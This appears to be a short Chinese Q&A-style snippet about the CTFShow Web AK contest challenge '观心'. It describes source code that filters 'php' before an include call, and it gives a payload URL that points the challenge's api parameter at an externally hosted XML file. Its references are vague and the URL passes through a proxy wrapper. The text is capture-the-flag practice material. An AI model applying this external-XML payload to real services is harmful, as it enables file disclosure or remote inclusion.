ctfshow web web ak赛观心
时间: 2023-09-26 16:14:59 浏览: 217
CTFShow的Web AK赛中,观心考点的payload可以参考以下内容。引用[1]提供了一系列关于Web AK赛观心考点的思路payload。引用中给出了一个源码示例,其中对传入的文件参数进行了校验。如果传入的文件名中包含"php"这个字符串,就会结束程序并输出错误信息,否则会通过include函数引入这个文件。引用给出了一个payload示例,其中api参数指定了一个XML文件的地址,city参数指定了一个城市代码。所以,ctfshow web web ak赛观心的payload可以是:http://96949238-64ea-4039-aeb8-5ef4593e9210.challenge.ctf.show/api.php?api=http://ip/2.xml&city=3。
阅读全文
相关推荐





